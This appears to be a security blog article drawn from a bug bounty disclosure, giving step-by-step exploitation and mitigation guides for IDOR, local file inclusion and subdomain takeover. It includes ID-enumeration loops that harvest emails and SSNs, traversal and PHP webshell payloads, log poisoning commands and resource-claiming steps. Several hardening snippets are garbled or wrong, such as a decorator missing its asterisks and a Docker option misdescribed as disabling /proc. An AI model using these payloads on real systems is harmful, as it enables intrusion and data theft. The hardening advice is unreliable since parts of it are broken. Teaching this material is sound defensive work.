Breaking Bug Bounty Goldmines: IDOR, LFI & Subdomain Takeover Exploits from a Pro Hacker + Video

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Introduction:

In today’s hyper-connected web ecosystem, broken access controls and misconfigured DNS records remain the lowest-hanging fruit for attackers. A recent bug bounty hunter’s disclosure highlights critical vulnerabilities—Insecure Direct Object References (IDOR) affecting all customers on a “vibe coder” platform, Local File Inclusion (LFI) on a redacted target, and subdomain takeover (Subdo TKO) techniques that bypass standard security controls. This article dissects these real-world attack patterns, provides actionable step‑by‑step exploitation guides, and delivers hardened mitigation commands for Linux and Windows environments.

Learning Objectives:

  • Understand how IDOR, LFI, and subdomain takeover vulnerabilities arise and how to systematically discover them.
  • Learn to execute manual and automated exploitation techniques using open‑source tools and command‑line utilities.
  • Apply platform‑specific hardening commands and code patches to prevent these flaws in production APIs, cloud assets, and web servers.

You Should Know:

  1. IDOR Vulnerability Deep Dive – From Enumeration to Full Customer Data Exposure

An IDOR occurs when an application uses user‑supplied input (e.g., ?user_id=123) to access an object without proper authorization checks. The “vibe coder platform” mentioned in the bounty allowed an attacker to change a single numeric parameter and view/patch any customer’s private data. Here is how you can test for and exploit IDOR on a modern API or web app.

Step‑by‑step guide:

  1. Intercept requests using Burp Suite or OWASP ZAP. Log in as a low‑privileged user and browse the application.
  2. Identify object references in URL paths (/api/v1/invoice/12345), JSON bodies ({"order_id": 567}), or headers.
  3. Increment/change the identifier – replace `12345` with 12346, try negative numbers (-1), or use UUIDs from other sessions.
  4. Automate enumeration with Burp Intruder or a simple bash loop: 
    Linux – enumerate user IDs
for id in {1000..2000}; do
curl -s -H "Cookie: session=YOUR_SESSION" "https://target.com/api/user/$id" | grep -i "email|ssn"
done

Windows (PowerShell):

foreach ($id in 1000..2000) {
Invoke-RestMethod -Uri "https://target.com/api/user/$id" -Headers @{Cookie="session=YOUR_SESSION"} | Select-Object email, ssn
}

5. Test horizontal and vertical IDOR – try accessing objects owned by other users (horizontal) or admin endpoints (vertical) using the same parameter manipulation.
6. Exploit with POST/PUT if the endpoint allows modification. Example changing another user’s email:

curl -X PUT https://target.com/api/profile/456 -d '{"email":"[email protected]"}' -H "Content-Type: application/json" -b "session=..."

Mitigation commands (Linux – NGINX + Node.js):

  • Implement middleware to check ownership before any object fetch.
  • Use indirect references (hash maps) instead of database IDs. Example in Python: 
    from functools import wraps
def require_owner(model, id_param):
def decorator(f):
@wraps(f)
def decorated_function(args, kwargs):
obj_id = request.view_args.get(id_param)
obj = model.query.get(obj_id)
if obj.user_id != current_user.id:
abort(403)
return f(args, kwargs)
return decorated_function
return decorator
  1. Local File Inclusion (LFI) – Turning Directory Traversal into Remote Code Execution

The hunter reported a redacted LFI with a working URL (https://lnkd.in/g-zS9_-a` – a LinkedIn short link, but typical LFI payloads target parameters like?file=../../../../etc/passwd`). LFI allows an attacker to read sensitive system files. When combined with log poisoning or PHP wrappers, it escalates to RCE.

Step‑by‑step guide to exploit and detect LFI:

  1. Identify file inclusion parameters (e.g., ?page=about, ?lang=en.php, ?file=doc.pdf).

2. Submit path traversal payloads:

../../../../etc/passwd
../../../windows/win.ini (Windows)
....//....//....//etc/passwd (bypass basic filters)

3. Use PHP wrappers for RCE (if PHP is present):

php://filter/convert.base64-encode/resource=index.php
php://input – with POST data '<?php system($_GET['cmd']); ?>'

4. Log poisoning – inject PHP code into User-Agent or access logs, then include the log file:

 Inject command
curl -A "<?php system('id'); ?>" http://target.com/vuln.php?page=../../../../var/log/apache2/access.log

5. Automated LFI scanning with `ffuf`:

ffuf -u http://target.com/view?file=FUZZ -w /usr/share/wordlists/dirb/common.txt -fs 0

Windows (using `Invoke-WebRequest` loop):

$payloads = @("../../../../etc/passwd", "....//....//....//etc/passwd")
foreach ($p in $payloads) { Invoke-WebRequest -Uri "http://target.com/view?file=$p" -Method GET }

Mitigation – secure configuration for Apache/NGINX:

  • Disable `allow_url_include` and `allow_url_fopen` in php.ini.
  • Use a whitelist of allowed files: 
    $allowed = ['home.php', 'about.php'];
if (!in_array($_GET['page'], $allowed)) { die('Invalid file'); }
  • Linux command to lock down directory permissions: 
    chmod 750 /var/www/html/includes
setfacl -m u:www-data:r-x /var/www/html/includes
  1. Subdomain Takeover (Subdo TKO) – Claiming Abandoned DNS Records

The hunter shared two LinkedIn posts on subdomain takeover tips. This vulnerability occurs when a DNS CNAME points to an external service (e.g., GitHub Pages, Heroku, AWS S3) that the original owner no longer uses. An attacker registers the dangling resource and hosts malicious content, gaining full control of the subdomain.

Step‑by‑step guide to discover and exploit subdomain takeovers:

  1. Enumerate subdomains using tools like subfinder, amass, or assetfinder: 
    subfinder -d target.com -o subs.txt
  2. Check for dangling CNAME records with `dig` or nslookup: 
    dig CNAME subdomain.target.com
If response shows a non‑existent AWS S3 bucket, GitHub Pages repo, or Heroku app, it’s vulnerable.

Windows:

nslookup -type=CNAME subdomain.target.com

3. Validate by trying to claim the resource:

  • AWS S3: `aws s3 mb s3://non-existent-bucket-name –region us-east-1`
    – GitHub Pages: Create a repo named `username.github.io` and add a CNAME file with subdomain.target.com.
  • Heroku: `heroku apps:create orphaned-app` then set domain.

4. Automated scanning using `subzy` or `tko-subs`:

subzy -targets subs.txt -concurrency 30 -hide_fails

5. Proof of concept – after claiming, serve a harmless HTML page to demonstrate impact (e.g., <h1>Vulnerable to takeover</h1>).

Mitigation commands for cloud engineers:

  • Regularly audit DNS records with a script: 
    Linux – check for stale CNAMEs
while read sub; do
cname=$(dig +short CNAME $sub)
if [[ $cname == "cloudfront.net" ]] || [[ $cname == "s3" ]]; then
curl -sI http://$cname | head -n1 | grep -q "404|NoSuchBucket" && echo "$sub -> TAKEOVER VULNERABLE"
fi
done < subdomains.txt
  • Use Terraform or CloudFormation to enforce resource deletion when DNS records are removed.
  • Enable Azure/AWS DNS alias records that automatically verify ownership.
  1. API Security Hardening – Lessons from the Undisclosed Stripe Vulnerability

The hunter listed “Stripe > undisclose” – while details are private, API key leakage and broken object‑level authorization are common in payment APIs. Protect your Stripe integration with these steps.

Step‑by‑step guide to secure API endpoints (applicable to Stripe or any REST API):
1. Never log or expose API keys – use environment variables or secret managers (HashiCorp Vault, AWS Secrets Manager).
2. Implement rate limiting to prevent enumeration attacks (IDOR often relies on many requests):

 Using iptables and hashlimit (Linux)
iptables -A INPUT -p tcp --dport 443 -m hashlimit --hashlimit-name api-limit --hashlimit-above 100/minute -j DROP

Using Express.js middleware:

const rateLimit = require('express-rate-limit');
const apiLimiter = rateLimit({ windowMs: 601000, max: 100 });
app.use('/api/', apiLimiter);

3. Use Stripe’s idempotency keys to prevent replay attacks:

import stripe
stripe.api_key = "sk_live_..."
stripe.PaymentIntent.create(
amount=1000,
currency='usd',
idempotency_key='unique-key-123'
)

4. Validate webhook signatures to avoid forged events:

endpoint_secret = 'whsec_...'
event = stripe.Webhook.construct_event(payload, sig_header, endpoint_secret)

5. Run automated API security scans with `nuclei`:

nuclei -target https://api.target.com -t ~/nuclei-templates/api/ -o api_results.txt
  1. Cloud Hardening against IDOR and LFI in Serverless & Container Environments

Modern “vibe coder” platforms often use serverless functions or containers where classic file inclusion may still exist via environment variables or `/proc` filesystem access.

Step‑by‑step guide to harden Linux containers and cloud workloads:

1. Drop unnecessary Linux capabilities in Docker/Podman:

docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE -p 80:80 myapp

2. Disable `/proc` and `/sys` mounts to prevent LFI from reading kernel info:

docker run --security-opt=proc:unconfined --read-only myapp

3. Use read‑only root filesystems – prevents log poisoning attacks when combined with LFI.
4. On Windows containers, enforce immutable application directories with icacls:

icacls C:\inetpub\wwwroot /deny IIS_IUSRS:(W,D,DC)

5. Cloud IAM hardening – assign least‑privilege roles to prevent IDOR from escalating to cloud resource takeover:

 AWS CLI – restrict S3 bucket access by policy
aws s3api put-bucket-policy --bucket my-secure-bucket --policy '{"Version":"2012-10-17","Statement":[{"Effect":"Deny","Principal":"","Action":"s3:GetObject","Resource":"arn:aws:s3:::my-secure-bucket/","Condition":{"StringNotEquals":{"s3:ExistingObjectTag/owner":"${aws:userid}"}}}]}'

What Undercode Say:

  • IDOR is still the 1 bug bounty king – the “vibe coder platform” breach impacting all customers shows that even modern, AI‑driven dev shops skip basic authorization tests. Always enforce server‑side checks, never trust client‑supplied object IDs.
  • Subdomain takeover is a self‑inflicted wound – with free tools like subzy, any attacker can scan your entire DNS estate in minutes. Implement automated CNAME stale‑record detection and use cloud provider’s domain verification features (e.g., AWS Certificate Manager + alias records) to eliminate this class of bug entirely.

Prediction:

As generative AI coding assistants (“vibe coders”) become mainstream, we will witness a surge in IDOR, LFI, and misconfiguration vulnerabilities exactly like those disclosed. AI models often regurgitate insecure patterns (e.g., using numeric IDs from URL parameters without auth middleware). The future of web security will pivot to AI‑powered static analysis that can detect broken access controls before deployment, combined with real‑time API firewalls that block anomalous object reference sequences. Organizations that fail to adopt zero‑trust object access models will continue paying bug bounties—or worse, breach notification fines. Expect regulatory frameworks to explicitly penalize predictable object identifiers and missing CNAME lifecycle management within the next 18 months.

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IT/Security Reporter URL:

Reported By: Mhasyim Bounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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